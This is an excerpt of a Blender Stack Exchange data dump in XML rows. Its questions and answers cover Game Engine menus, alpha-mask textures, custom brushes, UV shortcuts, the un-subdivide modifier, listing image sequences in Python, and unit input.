  <row Id="21070" PostTypeId="1" AcceptedAnswerId="21071" CreationDate="2014-12-18T02:12:57.070" Score="1" ViewCount="911" Body="&lt;p&gt;I want to make a button that when clicked opens up a popup menu, say like an options menu or something. After the button is clicked to open the popup menu I want to be able to click something in the popup menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done? &lt;/p&gt;&#xA;" OwnerUserId="8412" LastEditorUserId="2217" LastEditDate="2014-12-18T02:20:18.927" LastActivityDate="2014-12-18T02:44:57.080" Title="How to make a popup Menu in the BGE?" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21071" PostTypeId="2" ParentId="21070" CreationDate="2014-12-18T02:18:06.757" Score="1" Body="&lt;p&gt;Have your first button in the game trigger a new object (lets call it menu2) to be added to the game, or play a animation to move menu2 on screen. Then on menu2 have several other objects parented to the menu, each with logic set up like in &lt;a href=&quot;https://blender.stackexchange.com/a/21069/2217&quot;&gt;this&lt;/a&gt; question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the blend file you will find the object &lt;em&gt;menu2&lt;/em&gt; has a animation to move it in to view. That animation is triggered by the first button (a cube). The trick to playing the animation is to have the &lt;em&gt;Action&lt;/em&gt; Actuator on the menu. The logic bricks look like this.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1sCCG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1sCCG.png&quot; alt=&quot;logic bricks&quot;&gt;&lt;/a&gt;&lt;br&gt;&#xA;So every time there is a click on the cube it triggers the animation to play on the menu. You can have logic bricks go between objects, just select both objects and they will show up on the logic brick editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BGE menu demo &lt;a href=&quot;http://www.pasteall.org/blend/33390&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-12-18T02:44:57.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21072" PostTypeId="2" ParentId="21060" CreationDate="2014-12-18T03:29:36.550" Score="3" Body="&lt;p&gt;For Blender Internal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although there is a checkboard pattern available in the Texture Node Editor area, it appears to only be a 3 color channel texture but Blender Internal seems to require that alpha masks be contained within the 4th channel of the texture(I think there is a way around this by changing a setting, I forget the details).  However!, you can use GIMP to make the texture. (EDIT: or follow the advice in the OP's answer regarding channel re-routing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the final result you should have by following the steps outlined below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w2OrN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by using the CheckerBoard filter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v6tz5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then try and follow what I have done in the following .gif animation. (I did try to go slowly but LiceCap removes frames so it ends up looking like it's in fast-forward. :( &#xA;Too many print-screens, creating, pasting, cropping and saving images becomes stressful.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1) Copy the checkerBoard image&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2) Add an Alpha Channel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3) Add a Layer Mask&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 4) Make the Layer Mask editable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 5) Paste the copied check texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 6) Anchor the new layer so it drops into the Alpha channel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 7) Save the image as a .png or any other format that supports an alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NHagO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the relevant Material and Texture settings that can be used for Alpha Masks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Material, activate Transparency and set the type to Mask(the other 2 are showing artifacts) then set the Alpha value to 0.0.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zTPA4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Texture Settings, activate the Alpha channel and leave it set to 1.0.&#xA;Set the Mapping Coordinates to &lt;strong&gt;Generated&lt;/strong&gt;.  This seems to be the only stable one since the curve doesn't seem to be UV-Mappable while it is still a curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HYNNT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you move the objects around, the dotted line will become stretched or squashed.  The only way I can think of to deal with this is to animate the Texture's Mapping-&gt;Size parameters to compensate for the distortion.  You can insert Keyframes for the numerical input fields by hovering over them and pressing &lt;kbd&gt;i&lt;/kbd&gt;.  The field will then become colored to show it's been key-framed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, to keep the dotted lines the same width, in GIMP, be sure to end the checker pattern with the opposite color that each row started with.  The crop tool works fine for this.  I left this mistake in so you can see the result without having to find out the annoying way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ginCt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a side note:Here is a printScreen of the Texture node area mentioned earlier since this is one of those more hidden features that can be useful to people.  This area can be used to make custom procedural textures that are also accessible in Texture Paint and Sculpt modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VlZ7Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-05-11T06:32:22.907" LastActivityDate="2015-05-11T06:32:22.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21073" PostTypeId="1" AcceptedAnswerId="21097" CreationDate="2014-12-18T04:30:03.543" Score="3" ViewCount="1590" Body="&lt;p&gt;I am making an options menu in the BGE and I want to know how to make a button that toggles fullscreen on and off for the blender game?&lt;/p&gt;&#xA;" OwnerUserId="8412" LastEditorUserId="2217" LastEditDate="2014-12-18T17:57:29.677" LastActivityDate="2016-12-28T18:57:07.553" Title="How to make a fullscreen toggle button in the BGE?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21074" PostTypeId="2" ParentId="21001" CreationDate="2014-12-18T07:43:16.807" Score="11" Body="&lt;p&gt;Blender paints within a circular brush, you can use an image like a stencil when painting to get different shaped brushes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a image to be used for a brush there are a few things you need to keep in mind. When you have a square image, blender's brush will only paint within it's circle and that circle will be contained within the image dimensions, in practice I would also leave a little margin inside that circle as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oZad4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything in the red area will not show in blender's brush, while the green area can be considered a safe zone for brush shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create a square brush using gimp you can create a 100x100 image and fill it with white then resize the canvas to 200x200 and click the center button then export to png.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Draw the shape you want in white and leave the non-drawing part of the image as transparent and save it as a png. Then in blender create a new brush texture as an &quot;Image or Movie&quot; and select your brush image. The transparent parts show as black in the preview, unlike normal transparent texture previews. You can use multi-coloured images as brushes, the colours will be mixed with the active brush colour based on the blend mode, so white will maintain the brush colours while other colours will tint the brush accordingly. Feel free to experiment with different alpha values for soft edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nxZvB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture masks work in a similar way but they don't mix colours like a texture brush, any colour info will only be used as a greyscale mask for the brush.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a crisp edge you will want to give the brush a sharp curve, this can easily be set by clicking the square preset button at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FNgUJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-12-18T07:43:16.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21075" PostTypeId="1" AcceptedAnswerId="21106" CreationDate="2014-12-18T08:49:58.233" Score="1" ViewCount="549" Body="&lt;p&gt;What I have set up:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have camera_0, camera_1, camera_2, camera_3, and camera_4.&lt;/li&gt;&#xA;&lt;li&gt;In front of each camera stands a character. (character_0, character_1 and so on)&lt;/li&gt;&#xA;&lt;li&gt;Each one of the characters has an animation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What my script should do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After completing character_0's animation with camera_0, switch randomly to one of the other cameras (1–4).&lt;/li&gt;&#xA;&lt;li&gt;Start characters_X's animation with camera_X.&lt;/li&gt;&#xA;&lt;li&gt;After that character's animation ends, again switch randomly to another camera.&lt;/li&gt;&#xA;&lt;li&gt;Continue in a loop.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The animation should be played in the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that even possible in Blender using Python?&lt;/p&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="2217" LastEditDate="2014-12-19T00:22:42.667" LastActivityDate="2014-12-19T00:22:42.667" Title="Randomly switch camera and start animation with Python" Tags="&lt;python&gt;&lt;animation&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21077" PostTypeId="2" ParentId="3522" CreationDate="2014-12-18T10:03:48.057" Score="2" Body="&lt;p&gt;Well for better results of text other than English I would advice you make a SVG file with inkscape and then import it in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To expand further:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use Inkscape to write your text using the Text Tool: Press &lt;kbd&gt;F8&lt;/kbd&gt;  and type away.&lt;/li&gt;&#xA;&lt;li&gt;Convert the text into a path: Select your text object, and press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Remove any extraneous groups: Select the newly converted text path and press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt; multiple times until you see selection boxes around each separate glyph/diacritic.&lt;/li&gt;&#xA;&lt;li&gt;Unify these disparate segments into a single path by pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;+&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There is currently no way to render properly-shaped Arabic text in Blender alone. &lt;/p&gt;&#xA;" OwnerUserId="9540" LastEditorUserId="19307" LastEditDate="2020-04-16T10:50:27.880" LastActivityDate="2020-04-16T10:50:27.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21078" PostTypeId="1" AcceptedAnswerId="21079" CreationDate="2014-12-18T10:51:05.290" Score="32" ViewCount="59283" Body="&lt;p&gt;I'm currently doing a lot of UV mapping work and I find myself repeating the same long shortcuts over and over. For example, aligning the selected uvs in y can be done by pressing s, y, 0 (scale y to 0) then enter to confirm. Since I'm doing this over and over again, I was wondering if there is a Blender shortcut to repeat the last operation, similar to the repeat key ('g') in Maya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I know there is actually an align function, but even that requires a couple of of key presses and it's another shortcut to remember, where I find scaling to 0 more intuitive, so repeat is what I'm after here.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2018-07-23T21:38:08.330" Title="Is there a shortcut to repeat the last operation in Blender" Tags="&lt;shortcut&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21079" PostTypeId="2" ParentId="21078" CreationDate="2014-12-18T10:59:02.503" Score="39" Body="&lt;p&gt;&lt;strong&gt;Yes.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;F3&lt;/kbd&gt; will give you a list of recent actions. After selecting one action from the list, the next time you press &lt;kbd&gt;F3&lt;/kbd&gt; the list will be positioned with the same action under the cursor. This makes it very easy to call the same action over and over quickly by pressing &lt;kbd&gt;F3&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/FwrAW.png&quot; alt=&quot;LMB&quot; title=&quot;Left Mouse Button&quot;&gt; LMB&lt;/kbd&gt; (without having to move the mouse), or &lt;kbd&gt;F3&lt;/kbd&gt;&lt;kbd&gt;&amp;#9166; Enter&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the 3D view you can call the previous action with &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;, however this doesn't seem to work in the UV editor.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another option is to add a custom shortcut for the align operators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this add a new shortcut in &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; User preferences &gt; Input&lt;/em&gt;. You probably want to define it in some reasonable context like &lt;em&gt;Image &gt; UV editor&lt;/em&gt;, so expand the corresponding sections and click &lt;em&gt;New shortcut&lt;/em&gt; at the bottom of the &lt;em&gt;UV editor&lt;/em&gt; section. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then put &lt;code&gt;uv.align&lt;/code&gt; as the operator and assign a key combination:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IZTSD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you also have the option to change the various parameter the operator is called with when the shortcut is pressed (though in this case there is only one parameter):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3LrfG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Even if the drop down appears grayed out, you can probably still change it. It will appeared grayed out if no parameter is specified, in which case the default it used.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://blender.stackexchange.com/q/17822/599&quot;&gt;How to add shortcut for &amp;#39;Only Render&amp;#39;?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-12-18T11:18:46.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21080" PostTypeId="1" AcceptedAnswerId="21160" CreationDate="2014-12-18T11:01:01.457" Score="1" ViewCount="656" Body="&lt;p&gt;I'm having a problem with multiple materials and multiple importance sample options on the light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make a vertex color to assign the different material to the vertex. Node setup is in the screenshot. Also, I choose the multiple importance sample option on the sun lamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the shadow from invisible part of the prism.&#xA;I need to make a shadow only from a visible part. Also, there is no way to call a vertex group by name, only by color, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dIhjl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8120" LastEditorUserId="241" LastEditDate="2016-09-05T15:39:22.223" LastActivityDate="2016-09-05T15:39:22.223" Title="Cycles multiple material and multiple importance sample light" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21081" PostTypeId="1" AcceptedAnswerId="21086" CreationDate="2014-12-18T11:35:24.957" Score="3" ViewCount="2187" Body="&lt;p&gt;I am making a node group, and I want to remove the alpha from an image. I added a set alpha node and set the factor to 1, but this gives me a crazy result as you see in the screenshot. I 'm using a normal image with black text and an alpha background, but when I add the set alpha node, the image goes crazy.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NeM13.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried using an alpha over node, but that didn't work either.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="2217" LastEditDate="2014-12-19T03:09:02.540" LastActivityDate="2014-12-19T03:09:02.540" Title="Removing alpha from PNG image with set alpha node gives pixelated result" Tags="&lt;nodes&gt;&lt;compositor&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21082" PostTypeId="1" AcceptedAnswerId="21084" CreationDate="2014-12-18T13:04:15.463" Score="27" ViewCount="48847" Body="&lt;p&gt;I am wondering if there is a modifier or tool that will essentially undo a &lt;em&gt;subsurf&lt;/em&gt; or &lt;em&gt;subdivide&lt;/em&gt; command.&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="5705" LastEditDate="2014-12-18T17:15:05.553" LastActivityDate="2020-07-31T00:10:43.453" Title="Is there an unsubdivide function in Blender?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21083" PostTypeId="1" CreationDate="2014-12-18T13:16:33.730" Score="2" ViewCount="5817" Body="&lt;p&gt;I just finished UV mapping a large object that was split into many parts, some parts were new and made in Blender, but the original object was built in another package, which uses a different default UV map name, so that when I joined the new objects to it, I ended up with multiple UV maps on the same object when I just wanted one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I fixed my problem by undoing the merge and renaming the UV maps to all be the same before merging again, I would like to know if there is a correct way to copy UV data between different maps on the same object, or of merging multiple UV maps into one.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2014-12-18T19:19:16.853" Title="Is there a way to copy UVs between maps on the same object, or merge maps into one?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21084" PostTypeId="2" ParentId="21082" CreationDate="2014-12-18T13:17:06.333" Score="37" Body="&lt;p&gt;You can use the 'Decimate' modifier set to 'Un-Subdivide' mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/i6cqu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Increasing the number of 'Iterations' will increase the number of times the modifier un-subdivides the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works particularly well with quad based geometry. Below, the monkey on the left (that had a Subsurf modifier applied) has 8,000 vertices, while the un-subdivided monkey on the right (with 2 iterations) has 2000 vertices, with all details preserved well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vb2uM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-12-18T13:23:22.020" LastActivityDate="2014-12-18T13:23:22.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21086" PostTypeId="2" ParentId="21081" CreationDate="2014-12-18T13:40:40.807" Score="2" Body="&lt;p&gt;Sometimes in PNGs that have alpha channel the image get interpreted in a weird way as RGB only (without the alpha).&#xA;Here's an example of how blender interprets such image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IsO9C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone else can explain why... I find that the program in which PNGs are generated can make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as a quick solution in this particular case, try connecting the alpha of your Image node to the alpha of the Set Alpha node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ovZFb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-18T14:36:24.690" LastActivityDate="2014-12-18T14:36:24.690" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21088" PostTypeId="2" ParentId="515" CreationDate="2014-12-18T14:55:23.807" Score="-4" Body="&lt;p&gt;You have to add a &lt;em&gt;BSDF diffuse&lt;/em&gt; node between the nodes to tell blender the texture will be used for diffuse texture.&lt;/p&gt;&#xA;" OwnerUserId="9560" LastEditorUserId="2217" LastEditDate="2014-12-18T15:58:32.437" LastActivityDate="2014-12-18T15:58:32.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21090" PostTypeId="1" AcceptedAnswerId="21094" CreationDate="2014-12-18T15:28:32.207" Score="6" ViewCount="1236" Body="&lt;p&gt;Whenever I move an object in blender in unit mode(Imperial), it always make it in feet. For example, if I type &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;kbd&gt;12&lt;/kbd&gt;, it will move 12 feet. &lt;strong&gt;How can I make it move 12 inches instead?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-12-18T16:18:48.540" Title="Move object in inches instead of feet?" Tags="&lt;interface&gt;&lt;units&gt;&lt;measurement&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21091" PostTypeId="1" CreationDate="2014-12-18T15:50:16.357" Score="4" ViewCount="1476" Body="&lt;p&gt;I wonder if there is any way to determine how much memory object or group of objects is going to use while rendering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to follow some of recent Blender Guru's tutorials but it seems like I have complex object (trees) which even if set alone on separate layer, take too much RAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any alternative?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Trying to simplify object?&lt;/li&gt;&#xA;&lt;li&gt;Is it possible to render part of scene on GPU and part on CPU?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user92" LastActivityDate="2014-12-19T02:49:38.957" Title="How to check how much GPU memory is used by object?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21092" PostTypeId="1" CreationDate="2014-12-18T16:08:46.547" Score="5" ViewCount="3375" Body="&lt;p&gt;When Blender references an image sequence, the &lt;code&gt;image.filepath&lt;/code&gt; only ever references one image at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for renderfarms and copying projects between systems, you may want to get all the images associated with in image sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you go about getting all the images in an image sequence for a Blender Image or Movie-Clip?&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2017-12-05T07:22:48.957" Title="How to get all images for an image sequence? (from Python)" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21093" PostTypeId="2" ParentId="21092" CreationDate="2014-12-18T16:11:43.493" Score="5" Body="&lt;p&gt;This function returns all the images which share the same prefix, suffix (and have a number suffix), eg:&#xA;&lt;code&gt;/path/to/my_image_0001.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def image_sequence_resolve_all(filepath):&#xA;    import os&#xA;&#xA;    basedir, filename = os.path.split(filepath)&#xA;    filename_noext, ext = os.path.splitext(filename)&#xA;&#xA;    from string import digits&#xA;    if isinstance(filepath, bytes):&#xA;        digits = digits.encode()&#xA;    filename_nodigits = filename_noext.rstrip(digits)&#xA;&#xA;    if len(filename_nodigits) == len(filename_noext):&#xA;        # input isn't from a sequence&#xA;        return []&#xA;&#xA;    return [&#xA;        f.path&#xA;        for f in os.scandir(basedir)&#xA;        if f.is_file() and&#xA;           f.name.startswith(filename_nodigits) and&#xA;           f.name.endswith(ext) and&#xA;           f.name[len(filename_nodigits):-len(ext) if ext else -1].isdigit()&#xA;    ]&#xA;&#xA;&#xA;# example use&#xA;print(resolve_image_sequence(&quot;/path/to/my_image_0001.png&quot;))&#xA;&amp;gt;&amp;gt; [&quot;/path/to/my_image_0001.png&quot;,&#xA;    &quot;/path/to/my_image_0002.png&quot;,&#xA;    &quot;/path/to/my_image_0003.png&quot;,&#xA;    ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-12-05T07:22:48.957" LastActivityDate="2017-12-05T07:22:48.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21094" PostTypeId="2" ParentId="21090" CreationDate="2014-12-18T16:13:29.787" Score="9" Body="&lt;p&gt;When performing any action (such grabbing) that has a number input during the modal operator; you must first press &lt;kbd&gt;=&lt;/kbd&gt; or &lt;kbd&gt;NumPad *&lt;/kbd&gt; to enable &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70/UI#Transform_Tools_Number_Input&quot; rel=&quot;noreferrer&quot;&gt;advanced input&lt;/a&gt; for the units.&lt;br&gt;&#xA;By default the number input for the modal operators is set to &lt;em&gt;simple&lt;/em&gt;, that is why typing in any units after the value does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would highly suggest everybody reads the &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.70/UI#Transform_Tools_Number_Input&quot; rel=&quot;noreferrer&quot;&gt;release notes&lt;/a&gt; for the number input feature&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-12-18T16:18:48.540" LastActivityDate="2014-12-18T16:18:48.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21095" PostTypeId="1" AcceptedAnswerId="21096" CreationDate="2014-12-18T17:36:32.397" Score="4" ViewCount="3983" Body="&lt;p&gt;On my current .blend file, when I edit a particular object's origin point and save it, opening the file again resets the origin back to where it was before. I'm unable to save the object with a new origin location. I tried doing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to set to apply location, rotation, and scale, and then saving it, but upon reopening the object was scaled strangely and the origin once again not in the right location.&lt;/p&gt;&#xA;" OwnerUserId="9564" LastEditorUserId="2217" LastEditDate="2014-12-18T17:43:50.750" LastActivityDate="2015-10-18T15:02:00.827" Title="Blender not saving changes to object's origin point" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21096" PostTypeId="2" ParentId="21095" CreationDate="2014-12-18T17:44:50.973" Score="7" Body="&lt;p&gt;It sounds like you accidentally added a keyframe to your object. So even if you move it, it will snap back to the keyframe position. You can fix this by opening the &lt;em&gt;NLA editor&lt;/em&gt; and deleting all animation on your cube, or opening the &lt;em&gt;Dope Sheet&lt;/em&gt; and deleting the keyframe you don't want. A common way to add keyframes by accident is by pressing the &lt;em&gt;Auto Keyframe&lt;/em&gt; button (at  the bottom of the timeline), this causes any rotation, scale, or movement to your object to be keyframed.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qk88H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can acsess the &lt;em&gt;Dope Sheet&lt;/em&gt; through this menu:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QNcW1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once in the &lt;em&gt;Dope Sheet&lt;/em&gt;, select the keyframes you don't want and press delete.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/A5u5U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5705" LastEditDate="2014-12-18T17:59:44.177" LastActivityDate="2014-12-18T17:59:44.177" 